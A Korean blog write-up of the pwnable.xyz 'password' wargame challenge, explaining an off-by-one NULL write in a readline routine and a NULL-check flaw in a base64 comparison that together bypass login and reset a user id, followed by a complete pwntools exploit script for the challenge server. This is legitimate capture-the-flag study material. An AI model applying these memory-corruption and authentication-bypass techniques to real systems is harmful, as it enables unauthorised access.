본문으로 바로가기

pwnable.xyz / password

category Wargame/pwnable.xyz 2020. 4. 10. 18:21

약간의 게싱이 필요한 듯 하다.

 

  read(0, bufnbytes);
  buf[(signed int)(strlen(buf) - 1)] = 0;

 

한 줄을 입력받는 readline 함수는 위와 같이 생겼다.

마지막에 \n이 들어오는 것을 가정해서 만든 것인데, 입력을 fgets가 아닌 read로 받는다는 점에서 문제가 발생한다. 만약 buf의 첫 번째 글자가 NULL이라면 strlen(buf); 는 0이 되고, 해당 문장은 buf[-1] = 0; 이 되므로 OOB write를 할 수 있는 버그가 생기게 된다.

 

  printf("Password: ");
  readline(password, 0x20);
  a3 = 0LL;
  ptr = b64decode(flag, 0x20uLL, &a3);
  
  if ( b64cmp(ptrpassword) )
  {
    printf("Invalid password.");
  }
  else
  {
    creds = 1;
    printf("Welcome user id: %d\n", (unsigned __int8)id);
  }
  
  free(ptr);

 

readline의 버그를 이용하여 password[-1], 즉 flag[0x1F] 에 NULL을 쓸 수 있다.

여기에 코드 전체를 올리진 않겠지만, b64decode 함수를 살펴보면 실패할 때 NULL을 리턴하는 것을 볼 수 있다. readline의 버그로 인해 flag[0x1F] 에 NULL을 쓰면, flag가 잘못된 형식을 갖고 있기 때문에 BASE64 디코딩이 실패하고 따라서 ptr는 NULL이 된다.

 

int __fastcall b64cmp(const char *str1, const char *str2)
{
  int i; // [rsp+14h] [rbp-Ch]
  int len; // [rsp+18h] [rbp-8h]
  
  if ( str1 && str2 )
  {
    len = strlen(str1);
    if ( len != (unsigned int)strlen(str2) )
      return 1;
    
    for ( i = 0; i < len; ++i )
    {
      if ( str1[i] != str2[i] )
        return 1;
    }
  }
  return 0;
}

 

이어서 b64cmp에서도 버그가 발생한다. 첫 번째 비교문에서 str1과 str2가 모두 NULL이 아닐 때만 비교를 수행하고, 만약 하나라도 NULL이라면 바로 0을 리턴한다. ptr가 NULL이라면 b64cmp(ptr, password) 역시 바로 0이 되기 때문에 creds 값을 1로 만들어 줄 수 있다.

 

이 시나리오는 flag가 32글자라는 가정 하에 가능하다. 문제를 풀 때 분명히 readline, b64cmp 의 로직 버그를 써먹어야 하는 것 같은데 로컬에서 익스가 작동을 안 해서 시간을 꽤 날려먹었다..

 

creds를 1로 만들어 주면 메뉴 2번의 비밀번호를 바꾸는 작업을 수행할 수 있다.

 

      if ( creds == 1 )
      {
        memset(flag, 0, 0x20uLL);
        puts("New password: ");
        readline(flag, 0x20);
      }
      else
      {
        puts("Not logged in.");
      }

 

readline으로 flag에 0x20 크기의 문자열을 쓸 수 있다. 마찬가지로 readline의 버그 때문에 flag[-1], 즉 id를 0으로 만드는 게 가능해진다.

id가 0이 된 후에는 4번 메뉴로 플래그를 다시 불러온 뒤 3번 메뉴로 출력하면 된다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('-r''--remote'action='store_true'help='connect to remote server')
args = parser.parse_args()

if args.remote :
    p = connect('svc.pwnable.xyz'30026)
else :
    p = process('./challenge')


def Login(password:bytes) :
    p.writelineafter(b'> 'b'1')
    p.writeafter(b': ', password)

def ChangePassword(password:bytes) :
    p.writelineafter(b'> 'b'2')
    p.writeafter(b': ', password)

def PrintPassword() :
    p.writelineafter(b'> 'b'3')

def RestorePassword() :
    p.writelineafter(b'> 'b'4')

def exploit() :
    p.writelineafter(b': 'b'1')

    Login(b'\x00')
    ChangePassword(b'\x00')
    RestorePassword()
    PrintPassword()

    p.interactive()


if __name__ == '__main__' :
    exploit()

 

플래그를 BASE64 인코딩하면 32글자가 되는 것을 확인할 수 있다.

 

 

 

Last update: 4/10/2020

'Wargame > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / executioner v2  (0) 2020.04.10
pwnable.xyz / badayum  (0) 2020.04.10
pwnable.xyz / executioner  (0) 2020.04.09
pwnable.xyz / Punch it  (0) 2020.04.09
pwnable.xyz / catalog  (0) 2020.04.08